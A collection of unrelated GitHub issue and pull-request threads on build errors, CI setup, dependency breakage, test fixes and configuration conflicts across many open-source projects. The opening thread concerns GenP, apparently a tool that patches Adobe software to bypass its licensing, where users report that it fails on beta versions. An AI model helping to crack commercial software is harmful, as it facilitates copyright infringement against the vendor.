The new version of Adobe software cannot be used.

I can do it. Util newest version of 2024 today.

Not working with beta versions (eg AfterFX or Media Encoder Beta). Any tips?

Not working with beta versions (eg AfterFX or Media Encoder Beta). Any tips?

Maybe use official's version, click into official downloads website

Working with full version or not?
On Tue, Dec 19, 2023 at 5:02 AM Dimitri Pappas @.***>
wrote:

Not working with beta versions (eg AfterFX or Media Encoder Beta). Any
tips?
—
Reply to this email directly, view it on GitHub
https://github.com/cw2k/Adobe-GenP/issues/20#issuecomment-1861761627,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACALQGYBW3MTENBO3WWOOODYKC4P5AVCNFSM6AAAAAA54BKDJWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNRRG43DCNRSG4
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

Working with full version or not?
…
On Tue, Dec 19, 2023 at 5:02 AM Dimitri Pappas @.> wrote: Not working with beta versions (eg AfterFX or Media Encoder Beta). Any tips? — Reply to this email directly, view it on GitHub <#20 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/ACALQGYBW3MTENBO3WWOOODYKC4P5AVCNFSM6AAAAAA54BKDJWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNRRG43DCNRSG4 . You are receiving this because you are subscribed to this thread.Message ID: @.>

Any one.

Yes GenP v3.1 fails to patch official Beta versions downloaded from Creative Cloud Desktop


Add __typename to License

Currently the payload for license is missing the __typename property.
It should probably be added here:
https://github.com/serlo/serlo.org-database-layer/blob/32685c5e053ca16d1d57322a6e60a39cc42080c6/src/license/model.rs#L10

This shouldn't be needed (correct me if I'm wrong). __typename was introduced for the "polymorphic" endpoints. E.g. both uuid and notificationEvent return one of many possible concrete types. So there has to be a way for GraphQL to distinguish between them. license on the other hand always returns a License.

Okay, that is interesting. Kulla and I found this while implementing the new Resover type helper in instance. @kulla do we need to re-think this? In addition I now do not get the same errors after I have updated my Mac. I am not entirely sure this is the problem

Sorry, my bad, we identified the problem correctly, but I should probably give some more context. So we found this when working with the Resolver for InstanceAware, since it is in a union with license. This causes a problem when implementing the new type helper for InstanceAware, because it expects __typename for both, but it is missing in License. Also, at the moment there is no GraphQl property, that receives InstanceAware, but in theory every Interface should be resolvable. In addition I think it would be better for consistency's sake to have __typename everywhere.

This causes a problem when implementing the new type helper for InstanceAware, because it expects __typename, but it is missing in License.

Wait, why does InstanceAware contain License? This doesn't sound useful to me since the only field another instanceaware AbstractUuid shares with License is id. Since those ids don't have the same meaning (License is no UUID after all), an endpoint returning InstanceAware (including License) only makes sense over something like alias (which licenses don't have).

In addition I think it would be better for consistency's sake to have __typename everywhere.

Don't have a strong opinion on that. We'd need to be more careful about type renamings then, though.

Yeah, that is a good question. @kulla, do you have an answer to this?

As per suggestion of @inyono, I removed InstanceAware for License instead. Closing the issue.


fix(deps): update eslint to v14

References [link the ticket here]
Motivation and context
[Describe the problem we're solving and lay out the solution]
Before
[Describe the current behavior and / or add a screenshot of the current state]
After
[Describe the new behavior and / or add a screenshot of the new state]
How to test
[Add a deep link and instructions how to verify the new behavior]

we don't publish prereleases from renovate PRs. I needed this to test compatibility with projects


Update TableProviderFactory trait to support real-world use-cases

Which issue does this PR close?
Closes #3866.
Rationale for this change
Described in the issue.
What changes are included in this PR?

Addition of async and Result to the TableProviderFactory
Moving of table_provider_factories out of Session and into RuntimeEnv to decrease verbosity and bring them more in line with how the ObjectStoreRegistry already does things.

Are there any user-facing changes?
In the unlikely event that anyone else has implemented TableProviderFactory they will need to update their code.

See https://github.com/delta-io/delta-rs/pull/892/files for usage.


merging latest changes from master branch

Current coverage is 82.78% (diff: 83.64%)

Merging #529 into branch-1.6 will increase coverage by 0.17%

@@           branch-1.6       #529   diff @@
============================================
  Files              61         64     +3
  Lines            6869       7117   +248
  Methods          1122       1149    +27
  Messages            0          0
  Branches          882        914    +32
============================================
+ Hits             5675       5892   +217
- Misses            871        897    +26
- Partials          323        328     +5

Powered by Codecov. Last update 3cee82e...da03e58


invalid go version '1.21.0': must match format 1.23

When trying to compile pwru un a current linux system I receive this weird error message:
Its asking for a future version of golang. When Looking to all go releases  1.22.3 ist the most current go version.
TARGET_GOARCH=amd64 go generate
go: errors parsing go.mod:
/home/user/pwru/go.mod:3: invalid go version '1.21.0': must match format 1.23
/home/user/pwru/go.mod:5: unknown directive: toolchain
make: *** [Makefile:20: pwru] Fehler 1

Edit: My go version is  go1.19.8.  Line 3 of /home/user/pwru/go.mod is:  go 1.21.0
Can it be, that your Dependacy  1.16 is not longer up to date?

Could you try upgrading your Go? It compiles on my machine with go version go1.22.2 linux/amd64


Add get_node_at_mut and use that when mutating the borrowed node struct

This ensures that WAL record is generated for the modifications so restores will work fine

We have been using this commit in the latest version of lantern for a while now, I just forgot to merge it here and it did not affect anything since lantern pulled this in by the latest commit hash and not the branch name.
Merging now.


Jbusecke input checks

[x] Closes #208
[x] Tests added
[x] Passes pre-commit run --all-files
[x] User visible changes (including notable bug fixes) are documented in whats-new.rst

Ok I think I fixed all tests except test_grid_no_coords. I am not sure we need this test anymore? @rabernat could you confirm this?

Ok I think I fixed all tests except test_grid_no_coords. I am not sure we need this test anymore?

This test is a regression test for #110. The point of the test is to ensure that you can use xgcm with Xarray datasets that don't have dimension coordinates. The failure of the test indicates that this PR would reintroduce the bug covered by the test. So it needs to be fixed.

Thanks for the explanation @rabernat, but I am still having trouble understanding the test .
I am currently debugging it to get a better overview.
So the full test is:
def test_grid_no_coords(periodic_1d):
    """Ensure that you can use xgcm with Xarray datasets that don't have dimension coordinates."""
    ds, periodic, expected = periodic_1d
    ds_nocoords = ds.drop_dims(list(ds.dims.keys()))

    coords = expected["axes"]
    grid = Grid(ds_nocoords, periodic=periodic, coords=coords)

    diff = grid.diff(ds["data_c"], "X")
    assert len(diff.coords) == 0
    interp = grid.interp(ds["data_c"], "X")
    assert len(interp.coords) == 0

When I go through it line by line, the dataset ds_nocoord used to create the grid does have no dimensions
print(ds_nocoords)

<xarray.Dataset>
Dimensions:  ()
Data variables:
    *empty*

Is that really what is intended here? In my opinion, this should fail!
From my understanding of #110, what we rather want is something like this:
<xarray.Dataset>
Dimensions:  (XC: 100, XG: 100)
Dimensions without coordinates: XC, XG
Data variables:
    data_g   (XG) float64 0.5782 0.8786 0.01355 0.07767 ... 0.2189 0.6506 0.834
    data_c   (XC) float64 0.08648 0.664 0.4159 0.1341 ... 0.8866 0.8972 0.5521

no?
I got this output by replacing the line ds_nocoords = ds.drop_dims(list(ds.dims.keys())) with ds_nocoords = ds.drop_vars(list(ds.dims.keys()))
This does pass with some slight modifications to the input check as suggested above.
Do you think I should change the test or am I still missing something here?

Yikes! Yes the test itself was broken!


tempfile: Minor use of combinators

Mainly to test my ability to merge PRs post org migration.

OK actually turns out I did this anyways in https://github.com/coreos/cap-std-ext/pull/6


Windows build scripts

Codecov Report

Merging #1241 into master will decrease coverage by 0.39%.
The diff coverage is n/a.

@@            Coverage Diff            @@
##           master    #1241     +/-   ##
=========================================
- Coverage   65.64%   65.24%   -0.4%
=========================================
  Files          74       74
  Lines        5784     5784
  Branches      884      884
=========================================
- Hits         3797     3774     -23
- Misses       1723     1735     +12
- Partials      264      275     +11

Impacted Files
Coverage Δ

torchvision/datasets/cifar.py
71.26% <0%> (-6.9%)
:arrow_down:

torchvision/datasets/folder.py
79.48% <0%> (-2.57%)
:arrow_down:

torchvision/datasets/voc.py
20.87% <0%> (-2.2%)
:arrow_down:

torchvision/datasets/lsun.py
20.83% <0%> (-2.09%)
:arrow_down:

torchvision/transforms/transforms.py
79.96% <0%> (-1.58%)
:arrow_down:

torchvision/transforms/functional.py
70.52% <0%> (-0.87%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 19315e3...4e55fd8. Read the comment docs.

@ezyang  Added yaml for Azure Pipelines in packaging/windows/azure-pipelines-ci.yaml.

@peterjc123 what's the status of this PR?

It runs fine for building binaries, but for nightlies, it requires our own machines, which cannot be satisfied.

@peterjc123 so this is a superset of the Windows improvements you did in https://github.com/pytorch/vision/pull/1298?

yes, you could say that. But it was actually a different direction, which tries to do releases using Azure Pipelines, not CircleCI.

@peterjc123 from the discussion in https://github.com/pytorch/pytorch/issues/24859#issuecomment-528408258, what do you think about updating this patch to instead run everything on CircleCI?
cc @ezyang

The problem is the limited parallelism (only 10x). @ezyang Have you talked about it with a related person?

@peterjc123 Wait, I thought you were referring to Azure parallelism when you said we only got 10x parallelism. I can file a ticket with CircleCI to check what our Windows parallelism is, but I'm pretty sure we get more than 10x.

You'll have to actually run the builds on PRs on these repositories, though, to get our limits.

@ezyang Well, I misunderstood what @fmassa said. I was thinking that he wanted me to continue doing releases using Azure Pipelines. But actually, he needs CircleCI instead.

@soumith Do you know what our planned support window for CUDA 9.2 will be?

@ezyang @fmassa The CPU and CUDA nightly build jobs are now working on Microsoft hosted agents. Do you want to enable them?

Future work: We can use Windows container to save time (~14 min to install VS and CUDA).

Could you please upload these binaries to ossci-windows?

These are nightly binaries right? We should just setup automatic upload. Does Azure have a way to add private environment variables? If so, I can give you S3 creds to the nightlies bucket.

Could you please upload these binaries to ossci-windows?

These are nightly binaries right? We should just setup automatic upload. Does Azure have a way to add private environment variables? If so, I can give you S3 creds to the nightlies bucket.

No, these are the installers of CUDA and cuDNN. According to the packer-windows scripts, they should have of the URL of https://s3.amazonaws.com/ossci-windows/win2016/******.

@ezyang Looks like I've uploaded these wheels by mistake, could you please remove them in https://download.pytorch.org/whl/nightly/cpu?
torchvision-0.5.0a0%2B6de158c-cp35-cp35m-win_amd64.whl
torchvision-0.5.0a0%2B6de158c-cp36-cp36m-win_amd64.whl
torchvision-0.5.0a0%2B6de158c-cp37-cp37m-win_amd64.whl

Looks like I've uploaded these wheels by mistake, could you please remove them in https://download.pytorch.org/whl/nightly/cpu?

Done

No, these are the installers of CUDA and cuDNN. According to the packer-windows scripts, they should have of the URL of https://s3.amazonaws.com/ossci-windows/win2016/******. I'll wait until these binaries are uploaded and then change the URLs in this PR.

I misunderstood your comment :) Working on it.

All done!
https://ossci-windows.s3.amazonaws.com/win2016/cudnn-9.2-windows10-x64-v<IP_ADDRESS>.zip
https://ossci-windows.s3.amazonaws.com/win2016/cudnn-10.0-windows10-x64-v<IP_ADDRESS>.zip
https://ossci-windows.s3.amazonaws.com/win2016/cuda_9.2.148_win10.exe
https://ossci-windows.s3.amazonaws.com/win2016/cuda_10.0.130_411.31_win10.exe

@fmassa @ezyang Nightly builds are now scheduled for Windows every night.

Awesome, thanks a lot @peterjc123 !


Properly handle expired tokens on introspection endpoint

This change is important to properly mark token with `active: false` on the introspection endpoint, when the token has expired.

Originally posted by @c00kiemon5ter in https://github.com/IdentityPython/idpy-oidc/pull/39#discussion_r1080618611


ENH: Adds annotations to Actions

As of now, when ? is called on a QIIME 2 Method or Visualizer, this is the general format of the help text produced by Jupyter:

This help text is helpful, although it is missing a key component that is now tied to all Methods and Visualizers, due to some new Python functionality, that component being annotations. This PR adds annotations (including return annotations) and testing to Actions.
Calling ? with the PR in effect:

@jairideout ready for review

I think we need a test that the doc property is set, we probably don't need an exact match but just checking that a keyword is present would work.

There's tests for __doc__ in test_method.py and test_visualizer.py that were included in #283 (I might be misunderstanding what you're asking for though).

@jairideout thanks, I totally missed that part.


Local Emoji data

Is your feature request related to a problem? Please describe
Is there a way to use a local copy of the emoji data.json instead of fetching it from<EMAIL_ADDRESS>Describe the solution you'd like
Add a prop or any possiblility to serve a local copy of that database file.

Currently no there isn't. It's a good idea, will consider it for future updates

Oh actually you already opened a PR for that. Will take a look


Fix label

Checklist

[ ] npm test passes
[ ] tests and/or benchmarks are included
[ ] commit message follows commit guidelines

Description of change

@hustcc 迁移仓库遗漏的MR


Add t.step_func_done documentation

Also cleans up a bit around that area, e.g. replacing an assert_true(true) with assert_true(e.a) so that people are hopefully less likely to think that assert_true(true) is a good way to say "this test passed".

Fixes #180.

I think @zcorpan's recent PR fixed this.


Negative literal numbers absence into Antlr4 grammar

Looking into the Antlr4 it seems like negative integer/double literals are absent:
DecimalInteger : ZeroDigit
               | ( NonZeroDigit ( Digit )* )
               ;

I think that this can be considered a bug, right?

This is actually by design, to avoid ambiguity between unary minus of a positive number and a negative numeral.
Arguably a negative numeral can still be expressed as a unary minus of a positive numeral.
Cheers,
Tobias
Sent from a device with virtual keyboard, please excuse typos and brevity.

On 21 Dec 2016, at 00:53, Francisco Fernández Castaño<EMAIL_ADDRESS>wrote:
Looking into the Antlr4 it seems like negative integer/double literals are absent:
DecimalInteger : ZeroDigit
| ( NonZeroDigit ( Digit )* )
;
I think that this can be considered a bug, right?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

Tobias is correct, this is by design. Negative numbers are not literals, but evaluated from expressions.


Does not working on Android real device

This problem happen on android real device (debug and release), working correctly on android virtual devices.
There is a black background on notification bar after calling the "GoogleSignin.signIn()", but no google signin screen appear.
The app then crash after I tap the back navigation on the device, with error :
Caused by: java.lang.NullPointerException: Attempt to invoke virtual method 'boolean com.google.android.gms.auth.api.signin.GoogleSignInResult.isSuccess()' on a null object reference at co.apptailor.googlesignin.RNGoogleSigninModule.handleSignInResult

Same here

I could only get this to work on simulator in the end, was getting errorCode:-1 with no description on phone. Ended up switching to react-native-google-sign-in.

yep can't get it working in release mode either.
after selecting the account nothing happens. no error no crash, it just does nothing.
tried latest version with rn 0.48 today and same.

scratch that - make sure you have the properly configured the release fingerprint.
works great!

Turns out probably my real device is having bug (Xioami), because other apps also not working using native Google Signin. I'm closing it.


Adblock-friendly list and pre-generated hosts file.

because i want to move from compilers to pre-generated hosts files. so that you dont need to compile your self on your local system because you cannot always compile it on your own system, for instance on your phone.
The compilers are cool and they stay where they are but i'm going to add pre-generated hostfiles in the repo, so that you can use them in for example: Adway for android. Ublock orgin and other adblockers that support adblock lists.
EDIT
Added support in 8b901f6de68c049b2ae2e3a3d9e729132457c9d8
Adgaurd support yet to come. i do not use it myself, and i dont have a licence for it.

@ameshkov Whenever this lands, interested for AdGuard?

note to self: https://kb.adguard.com/en/general/how-to-create-your-own-ad-filters

also adding support for

Pihole
Adblockers, such as Adblock plus and ublock orgin etc. (that use the adblock format)
Programs that understands hostfiles
Android's adway app
Android DNS66

Added support in 8b901f6de68c049b2ae2e3a3d9e729132457c9d8
Adgaurd support yet to come. i do not use it myself, and i dont have a licence for it.

it seems you can use the adblock list as well. but havent tested it.

[Adguard] support yet to come. i do not use it myself, and i dont have a licence for it.
it seems you can use the adblock list as well. but havent tested it.

@ameshkov Would y'all provide @Marfjeh a license per https://adguard.com/en/rewards.html#anchor-0, & also officially clarify for him how his lists can/will be used in various AG platforms?

Sure, just contact us at<EMAIL_ADDRESS>


Sets up home page, udates URLS and login_redirect

This looks good! I'm wondering if the order of groupings and rights shells should be reversed, so it's the same as in the navigation bar?


pgvector.py has created a dependency on  sqlalchemy v2, breaking apps using sqlalchemy v1

Checked other resources

[X] I added a very descriptive title to this issue.
[X] I searched the LangChain documentation with the integrated search.
[X] I used the GitHub search to find a similar question and didn't find it.
[X] I am sure that this is a bug in LangChain rather than my code.
[X] The bug is not resolved by updating to the latest stable version of LangChain (or the specific integration package).

Example Code
from langchain.retrievers.multi_query import MultiQueryRetriever
Error Message and Stack Trace (if applicable)
Traceback (most recent call last):
File "", line 1, in
File "/home/ubuntu/miniconda3/envs/nettalk/lib/python3.12/site-packages/langchain/retrievers/init.py", line 33, in
from langchain.retrievers.self_query.base import SelfQueryRetriever
File "/home/ubuntu/miniconda3/envs/nettalk/lib/python3.12/site-packages/langchain/retrievers/self_query/base.py", line 5, in
from langchain_community.vectorstores import (
File "/home/ubuntu/miniconda3/envs/nettalk/lib/python3.12/site-packages/langchain_community/vectorstores/init.py", line 115, in getattr
module = importlib.import_module(_module_lookup[name])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ubuntu/miniconda3/envs/nettalk/lib/python3.12/importlib/init.py", line 90, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ubuntu/miniconda3/envs/nettalk/lib/python3.12/site-packages/langchain_community/vectorstores/pgvector.py", line 23, in
from sqlalchemy import SQLColumnExpression, delete, func
ImportError: cannot import name 'SQLColumnExpression' from 'sqlalchemy' (/home/ubuntu/miniconda3/envs/nettalk/lib/python3.12/site-packages/sqlalchemy/init.py)
Description
My app uses sqlalchemy v1 due to my db dialect not supporting v2.  The above change breaks MultiQueryRetriever in 0.1.13.
System Info
System Information

OS:  Linux
OS Version:  #17~22.04.1-Ubuntu SMP Fri Nov 17 21:07:13 UTC 2023
Python Version:  3.12.2 | packaged by conda-forge | (main, Feb 16 2024, 20:50:58) [GCC 12.3.0]

Package Information

langchain_core: 0.1.33
langchain: 0.1.13
langchain_community: 0.0.29
langsmith: 0.1.31
langchain_experimental: 0.0.55
langchain_openai: 0.1.1
langchain_text_splitters: 0.0.1
langgraph: 0.0.25

Packages not installed (Not Necessarily a Problem)
The following packages were not found:

langserve

Please suggest a workaround or a proper langchain downgrade version. This is really critical.

Please suggest a workaround or a proper langchain downgrade version. This is really critical.

The following works:
langchain - 0.1.12
langchain-community - 0.0.28

Any update.  The commit that added the dependency is https://github.com/langchain-ai/langchain/commit/6cdca4355d095e39813b003c68786a38e4cbda5b.

Please suggest a workaround or a proper langchain downgrade version. This is really critical.

The following works: langchain - 0.1.12 langchain-community - 0.0.28

This still is not resolved in langchain 0.1.20. I downgraded as described above, but that didn't resolve the issue either:
langchain==0.1.12
langchain-community==0.0.28
langchain-core==0.1.52
langchain-text-splitters==0.0.1
langsmith==0.1.57

@gibson3659 and anyone interested - I opened https://github.com/langchain-ai/langchain/pull/22546 a week ago to address this issue, hopefully it will be accepted :crossed_fingers:


Not able to start server :-(

Here is my code
import React , { useEffect, useState } from 'react';
import {
StyleSheet,
View,
Text,
Platform,
TouchableOpacity
} from 'react-native';
import StaticServer from 'react-native-static-server';
import RNFS from "react-native-fs";
const App = () => {
const [ url , setURL ] = useState(null);
let server = new StaticServer();
useEffect(()=>{
console.log("App Started");
},[])
const getPath = () => {
return Platform.OS === "android"
? RNFS.DocumentDirectoryPath
: RNFS.MainBundlePath;
}
const startServer = () => {
console.log("Start Called");
server.start().then( url => {
console.log("Server Started at : ",url);
setURL(url);
});
}
const stopServer = () => {
if (server && server.isRunning()) {
server.stop();
console.log("Server Stop");
}
}
return (
<>

{url!==null?url:""}

<TouchableOpacity onPress={()=>{startServer()}}>Start Server
<TouchableOpacity onPress={()=>{stopServer()}}>Stop Server

</>
);
};
const styles = StyleSheet.create({
url:{
alignItems:"center",
},
btn:{
flexGrow:1,
flexDirection:"row",
alignItems:"center",
justifyContent:"space-around"
}
});
export default App;

Same here, RN 0.63, can not get past this error

working for me in RN 0.63.3, but had to add second parameter like new StaticServer(3000, getWebResourcesPath())
function getWebResourcesPath() {
return Platform.OS === 'android'
? RNFS.DocumentDirectoryPath + '/www'
: RNFS.MainBundlePath + '/www';
}

Mario, thanks so much for your solution here. It almost works for me.  Unfortunately I am brand new to android development, and I can't quite figure out how to actually call that copyWWWBuildFiles function with a directory path that react native will understand.  I tried using copyWWWBuildFiles('android/app/src/main/assets/www'); right after it was defined, but the iterator doesn't actually do anything.  I only have one file in my 'android/app/src/main/assets/www' directory called test.html

async function copyWWWBuildFiles(directory: string) {
  console.log('copying directory '+ directory); //displays directory parameter
  (await RNFS.readDirAssets(directory)).forEach(async (file) => {
    console.log(file);//never gets reached
    if (file.isDirectory()) {
      await RNFS.mkdir(RNFS.DocumentDirectoryPath + '/' + file.path);
      return copyWWWBuildFiles(file.path);
    } else {
      await RNFS.copyFileAssets(
        file.path,
        RNFS.DocumentDirectoryPath + '/' + file.path,
      );
    }
  });
}

copyWWWBuildFiles('android/app/src/main/assets/www'); //tried with an without leading slash, or escaped and unescaped backslashes
server.start().then( url => {
  console.log("Server Started at : ", url);
  serverUrl = url +"/test.html";
});

console.log('opening webview to ' + serverUrl); //http://<IP_ADDRESS>:3000/test.html
  return (
    <WebView
      source={{uri: serverUrl}}
      showsHorizontalScrollIndicator={false}
      bounces={false}
      scrollEnabled={false}
    />
  );

Webview displays the text:
INTERNAL ERROR: given path is not.a directory (/data/user/0/com.sampleapp/files/www)

Mario, thanks so much for your solution here. It almost works for me.  Unfortunately I am brand new to android development, and I can't quite figure out how to actually call that copyWWWBuildFiles function with a directory path that react native will understand.  I tried using copyWWWBuildFiles('android/app/src/main/assets/www'); right after it was defined, but the iterator doesn't actually do anything.  I only have one file in my 'android/app/src/main/assets/www' directory called test.html

async function copyWWWBuildFiles(directory: string) {
  console.log('copying directory '+ directory); //displays directory parameter
  (await RNFS.readDirAssets(directory)).forEach(async (file) => {
    console.log(file);//never gets reached
    if (file.isDirectory()) {
      await RNFS.mkdir(RNFS.DocumentDirectoryPath + '/' + file.path);
      return copyWWWBuildFiles(file.path);
    } else {
      await RNFS.copyFileAssets(
        file.path,
        RNFS.DocumentDirectoryPath + '/' + file.path,
      );
    }
  });
}

copyWWWBuildFiles('android/app/src/main/assets/www'); //tried with an without leading slash, or escaped and unescaped backslashes
server.start().then( url => {
  console.log("Server Started at : ", url);
  serverUrl = url +"/test.html";
});

console.log('opening webview to ' + serverUrl); //http://<IP_ADDRESS>:3000/test.html
  return (
    <WebView
      source={{uri: serverUrl}}
      showsHorizontalScrollIndicator={false}
      bounces={false}
      scrollEnabled={false}
    />
  );

Webview displays the text:
INTERNAL ERROR: given path is not.a directory (/data/user/0/com.sampleapp/files/www)

@WeirdDNA I'm sorry you are right I also hardcoded RNFS.mkdir(RNFS.DocumentDirectoryPath + '/www'); in my code but forgot to mention. Glad It works!

@WeirdDNA I'm sorry you are right I also hardcoded RNFS.mkdir(RNFS.DocumentDirectoryPath + '/www'); in my code but forgot to mention. Glad It works!


enroll_caasp_workers should be possible to run in parallel with SES setup

Error says Parallel stages or branches can only be included in a top-level stage so I assume my attempt is futile (unless I just wrote it wrong)


Boost dependency

Hello socket.io developers, this is just a general wondering. Are you guys planning in some near future to remove dependencies on Boost? The problem for me, and I'm sure for other people, is that Boost dependency makes this wonderful library not portable. I believe with latest advances in C++-11 there is no real reason to depend on Boost. Thank you.

Agree, with boost app deployment becomes much more complicated, especially to mobile or embedded devices. However is it built on ASIO then boost is critical here. Is it possible to remove this dependency?


DSA Coach - A DSA practicing website

Describe the project
DSA Coach is a progress tracker and manager for all the college students and professionals who are willing to learn Data Structures and Algorithm they can visit this website. It has Love Babbar's sheet of 450 DSA questions. The website is up and running. I am planning to add features like:

Progress tracker
streaks
Let user uplaod their own set of questions and then practice, so that they can follow any sheet they want.
Currently it is a frontend Project built with React, but I will convert it into a MERN stack application.

Issue Type:

[ ] New Project

Screenshots

If applicable, add screenshots to help explain your problem.

Go ahead

I have made the PR kindly preview

I have made the PR kindly preview

Ok I will review it soon

Assigne the issues


--Verify torch and cuda are installed if required by python tests

Motivation and Context
On machines without cuda installed, the profiling tests fail will fail. This PR introduces a workaround that will check if cuda is enabled in habitat_sim, and will skip the test if it is not.

How Has This Been Tested

Types of changes
Python tests pass, appropriately skip non-cuda installs.

[ ] Docs change / refactoring / dependency upgrade
[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist

[x] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[x] I have read the CONTRIBUTING document.
[x] I have completed my CLA (see CONTRIBUTING)
[ ] I have added tests to cover my changes.
[x] All new and existing tests passed.

For this, you should be using pytest.mark.skipif https://docs.pytest.org/en/reorganize-docs/new-docs/user/skipping.html

Ok.  I just used the mechanism I found in test_sensors.py

For this, you should be using pytest.mark.skipif https://docs.pytest.org/en/reorganize-docs/new-docs/user/skipping.html

Ok.  I just used the mechanism I found in test_sensors.py

Added torch import check in test_data_extractor.py as well

Added torch import check in test_data_extractor.py as well


Saving deps cache on windows

Hi! On a Windows runner, the action saves almost no deps. Here are the last lines of logs (link) for cache/save:
2024-01-06T20:52:11.0212239Z ##[group]Run actions/cache/save@v3
2024-01-06T20:52:11.0212593Z with:
2024-01-06T20:52:11.0212963Z   path: ~/.stack
./rzk-js/.stack-work
./rzk/.stack-work
./.stack-work

2024-01-06T20:52:11.0214098Z   key: Windows-stack-deps-ghc-9.6.3-c757603d4408c896376e0374586b34f0558c8e33b84a8f65172bdc4a128bf355-0606785d46d422f42bae30bac4456b1bb19c79fd95878814eb8839726aa17ae4
2024-01-06T20:52:11.0215218Z   enableCrossOsArchive: false
2024-01-06T20:52:11.0215553Z ##[endgroup]
2024-01-06T20:52:11.2543589Z [command]"C:\Program Files\Git\usr\bin\tar.exe" --posix -cf cache.tzst --exclude cache.tzst -P -C D:/a/rzk/rzk --files-from manifest.txt --force-local --use-compress-program "zstd -T0"
2024-01-06T20:52:11.9347363Z Cache Size: ~0 MB (71719 B)
2024-01-06T20:52:12.0100618Z Cache saved successfully
2024-01-06T20:52:12.0108447Z Cache saved with key: Windows-stack-deps-ghc-9.6.3-c757603d4408c896376e0374586b34f0558c8e33b84a8f65172bdc4a128bf355-0606785d46d422f42bae30bac4456b1bb19c79fd95878814eb8839726aa17ae4

2024-01-06T20:52:11.9347363Z Cache Size: ~0 MB (71719 B)

Good catch! I think this is a huge clue in  #28.
So, where does Stack place things on Windows? Is this not the correct set of paths?
path: ~/.stack
./rzk-js/.stack-work
./rzk/.stack-work
./.stack-work

As far as I know, choosing this option is all we can control here, the rest is actions/cache/save.

These paths seem relevant (link, link):
~\AppData\Roaming\stack
~\AppData\Local\Programs\stack


archipelago-minecraft: 0.5.0 -> 0.5.1

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for archipelago-minecraft is: Multi-Game Randomizer and Server
meta.homepage for archipelago-minecraft is: https://archipelago.gg
meta.changelog for archipelago-minecraft is: https://github.com/ArchipelagoMW/Archipelago/releases/tag/0.5.1
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 0.5.1 in filename of file in /nix/store/l93yd1c2xisjh06qzgdmxw6k166k71p3-archipelago-0.5.1

Rebuild report (if merged into master) (click to expand)

3 total rebuild path(s)

3 package rebuild(s)

First fifty rebuilds by attrpath

archipelago
archipelago-minecraft

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/l93yd1c2xisjh06qzgdmxw6k166k71p3-archipelago-0.5.1 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A archipelago-minecraft https://github.com/r-ryantm/nixpkgs/archive/12da01a2e255645ec1623d892fa04ed55fab1ecd.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/12da01a2e255645ec1623d892fa04ed55fab1ecd#archipelago-minecraft

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/l93yd1c2xisjh06qzgdmxw6k166k71p3-archipelago-0.5.1
ls -la /nix/store/l93yd1c2xisjh06qzgdmxw6k166k71p3-archipelago-0.5.1/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
nixpkgs-review result
Generated using nixpkgs-review.
Command: nixpkgs-review

x86_64-linux

:white_check_mark: 2 packages built:

archipelago
archipelago-minecraft

Maintainer pings
cc @pyrox0 for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

@NixOS/nixpkgs-merge-bot merge


Adds YAML examples to README

Also adds some links to tools and suggests some rephrasing.

great improvements, thanks!


Using stylix with home.file

Minimal Example
When using stylix with (flake standalone) home-manager I would like to do the following (example for lazygit):
# home.nix
{
  # ...
  programs.lazygit.enable = true;
  home.file.".config/lazygit/config.yml".source = ./dotfiles/.config/lazygit/config.yml;

  stylix = {
    enable = true;
    autoEnable = true;

    polarity = "dark";
    base16Scheme = "${pkgs.base16-schemes}/share/themes/gruvbox-dark-medium.yaml";
  }
  # ...
}

# dotfiles/.config/lazygit/config.yml
gui:
  border: single
notARepository: quit

HomeManager Error
But, I get this error from home-manager:
error:
       Failed assertions:
       - Conflicting managed target files: .config/lazygit/config.yml

       This may happen, for example, if you have a configuration similar to

           home.file = {
             conflict1 = { source = ./foo.nix; target = "baz"; };
             conflict2 = { source = ./bar.nix; target = "baz"; };
           }

Attempted Workarounds
1
-  programs.lazygit.enable = true;

I've tried leaving out the enable. Then, home-manager switch works, but the stylix config isn't applied, only that from the dotfiles (makes sense).
2
-  home.file.".config/lazygit/config.yml".source = ./dotfiles/.config/lazygit/config.yml;
+  home.file.".config/lazygit/config.yml".text = builtins.readFile ./dotfiles/.config/lazygit/config.yml;

I've also tried changing the home.file from source to textusing builtins.readFile, since nixos wiki mentions that

[...] "text" would add the text to the dot file that may also be affected in other places.

